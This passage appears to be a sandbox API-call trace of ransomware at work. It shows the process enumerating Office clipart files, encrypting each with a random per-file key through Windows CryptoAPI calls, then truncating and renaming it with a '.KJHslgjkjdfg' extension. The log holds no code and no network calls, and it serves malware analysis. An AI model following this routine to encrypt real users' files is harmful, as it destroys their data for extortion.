lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.kjhslgjkjdfg")) returned 1 [0231.085] CloseHandle (hObject=0x130) returned 1 [0231.085] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0231.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.087] GetProcessHeap () returned 0x2ef0000 [0231.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.087] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.087] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.087] GetProcessHeap () returned 0x2ef0000 [0231.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.087] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.088] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.088] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.091] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.091] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.092] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.092] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.092] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.093] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0231.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.093] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.094] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.094] SetEndOfFile (hFile=0x130) returned 1 [0231.097] GetProcessHeap () returned 0x2ef0000 [0231.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.097] GetProcessHeap () returned 0x2ef0000 [0231.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.097] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.kjhslgjkjdfg")) returned 1 [0231.099] CloseHandle (hObject=0x130) returned 1 [0231.099] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0231.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.101] GetProcessHeap () returned 0x2ef0000 [0231.101] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.101] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.101] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.107] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.107] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.107] GetProcessHeap () returned 0x2ef0000 [0231.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.107] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.107] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.107] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.107] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.108] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.108] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.108] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.108] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0231.118] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0231.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.119] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0231.119] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.119] SetEndOfFile (hFile=0x130) returned 1 [0231.123] GetProcessHeap () returned 0x2ef0000 [0231.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.123] GetProcessHeap () returned 0x2ef0000 [0231.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.kjhslgjkjdfg")) returned 1 [0231.125] CloseHandle (hObject=0x130) returned 1 [0231.125] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0231.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.127] GetProcessHeap () returned 0x2ef0000 [0231.127] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.127] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.130] GetProcessHeap () returned 0x2ef0000 [0231.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.130] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.130] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.131] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.131] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.131] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.131] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0231.132] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0231.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.133] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0231.133] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.133] SetEndOfFile (hFile=0x130) returned 1 [0231.136] GetProcessHeap () returned 0x2ef0000 [0231.136] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.136] GetProcessHeap () returned 0x2ef0000 [0231.136] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.kjhslgjkjdfg")) returned 1 [0231.138] CloseHandle (hObject=0x130) returned 1 [0231.139] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0231.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.140] GetProcessHeap () returned 0x2ef0000 [0231.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.140] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.140] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.140] GetProcessHeap () returned 0x2ef0000 [0231.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.140] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.140] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.140] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.143] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.143] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.143] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.143] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.143] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.143] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0231.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.145] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.145] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.145] SetEndOfFile (hFile=0x130) returned 1 [0231.148] GetProcessHeap () returned 0x2ef0000 [0231.148] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.148] GetProcessHeap () returned 0x2ef0000 [0231.148] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.kjhslgjkjdfg")) returned 1 [0231.150] CloseHandle (hObject=0x130) returned 1 [0231.150] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0231.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.152] GetProcessHeap () returned 0x2ef0000 [0231.152] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.152] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | 